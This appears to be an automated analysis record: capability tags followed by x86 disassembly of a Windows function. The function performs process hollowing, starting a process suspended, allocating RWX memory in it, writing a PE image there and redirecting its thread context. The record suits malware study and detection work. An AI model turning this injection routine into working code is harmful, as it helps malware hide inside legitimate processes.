Function at 0x412d18
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x412d20
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403e44
xor eax, eax
push ebp
push 0x413162
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x138]
mov eax, 0x41317c
call fcn.0041262c
mov edx, dword [ebp - 0x138]
mov eax, 0x41589c
call fcn.00403a0c
mov eax, dword [0x415884]
mov dword [ebp - 8], eax
mov ebx, esi
cmp word [ebx], 0x5a4d
jne 0x41313c
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
cmp dword [edi], 0x4550
jne 0x41313c
lea edx, [ebp - 0x13c]
mov eax, 0x4131a8
call fcn.0041262c
mov edx, dword [ebp - 0x13c]
mov eax, 0x41589c
call fcn.00403a0c
lea eax, [ebp - 0x68]
xor ecx, ecx
mov edx, 0x44
call fcn.004028f0
lea eax, [ebp - 0x24]
xor ecx, ecx
mov edx, 0x10
call fcn.004028f0
lea edx, [ebp - 0x140]
mov eax, 0x4131d4
call fcn.0041262c
mov edx, dword [ebp - 0x140]
mov eax, 0x41589c
call fcn.00403a0c
mov dword [ebp - 0x68], 0x44
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403e54
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
je 0x41313c
lea edx, [ebp - 0x144]
mov eax, 0x413200
call fcn.0041262c
mov edx, dword [ebp - 0x144]
mov eax, 0x41589c
call fcn.00403a0c
mov dword [ebp - 0x134], 0x10007
lea edx, [ebp - 0x148]
mov eax, 0x41322c
call fcn.0041262c
mov edx, dword [ebp - 0x148]
mov eax, 0x41589c
call fcn.00403a0c
lea eax, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_GetThreadContext
test eax, eax
je 0x41313c
lea edx, [ebp - 0x14c]
mov eax, 0x413258
call fcn.0041262c
mov edx, dword [ebp - 0x14c]
mov eax, 0x41589c
call fcn.00403a0c
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x90]
xor edx, edx
push edx
push eax
mov eax, dword [0x415898]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
mov eax, dword [edi + 0x34]
cmp eax, dword [ebp - 0xc]
jne 0x412f20
lea edx, [ebp - 0x150]
mov eax, 0x413284
call fcn.0041262c
mov edx, dword [ebp - 0x150]
mov eax, 0x41589c
call fcn.00403a0c
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
push 0
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 0x10], eax
jmp 0x412f3b
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x41313c
lea edx, [ebp - 0x154]
mov eax, 0x4132b0
call fcn.0041262c
mov edx, dword [ebp - 0x154]
mov eax, 0x41589c
call fcn.00403a0c
lea edx, [ebp - 0x158]
mov eax, 0x4132dc
call fcn.0041262c
mov edx, dword [ebp - 0x158]
mov eax, esi
call fcn.00412a38
mov esi, eax
mov eax, dword [edi + 0x34]
cmp eax, dword [ebp - 0x10]
je 0x413024
lea edx, [ebp - 0x15c]
mov eax, 0x413364
call fcn.0041262c
mov edx, dword [ebp - 0x15c]
mov eax, 0x41589c
call fcn.00403a0c
mov eax, dword [ebp - 0x10]
sub eax, dword [edi + 0x34]
push eax
push edi
push esi
call fcn.0041276c
mov eax, dword [ebp - 0x10]
mov dword [edi + 0x34], eax
lea edx, [ebp - 0x160]
mov eax, 0x413390
call fcn.0041262c
mov edx, dword [ebp - 0x160]
mov eax, 0x41589c
call fcn.00403a0c
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov ecx, 0xf8
mov edx, edi
call fcn.004058b0
lea edx, [ebp - 0x164]
mov eax, 0x4133bc
call fcn.0041262c
mov edx, dword [ebp - 0x164]
mov eax, 0x41589c
call fcn.00403a0c
lea eax, [ebp - 0x14]
push eax
mov eax, dword [edi + 0x50]
push eax
push esi
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea edx, [ebp - 0x168]
mov eax, 0x4133e0
call fcn.0041262c
mov edx, dword [ebp - 0x168]
mov eax, 0x41589c
call fcn.00403a0c
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x90]
xor edx, edx
push edx
push eax
mov eax, dword [0x415898]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea edx, [ebp - 0x16c]
mov eax, 0x41340c
call fcn.0041262c
mov edx, dword [ebp - 0x16c]
mov eax, 0x41589c
call fcn.00403a0c
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x84], eax
lea edx, [ebp - 0x170]
mov eax, 0x413438
call fcn.0041262c
mov edx, dword [ebp - 0x170]
mov eax, 0x41589c
call fcn.00403a0c
lea eax, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_SetThreadContext
mov eax, dword [ebp - 0x20]
call fcn.00412ce4
lea edx, [ebp - 0x174]
mov eax, 0x413390
call fcn.0041262c
mov edx, dword [ebp - 0x174]
mov eax, 0x41589c
call fcn.00403a0c
mov edx, dword [edi + 0x50]
mov eax, esi
call fcn.0040265c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x178]
mov eax, 0x413464
call fcn.0041262c
mov edx, dword [ebp - 0x178]
mov eax, 0x41589c
call fcn.00403a0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x413169
lea eax, [ebp - 0x178]
mov edx, 0x11
call fcn.004039dc
lea eax, [ebp - 4]
call fcn.004039b8
ret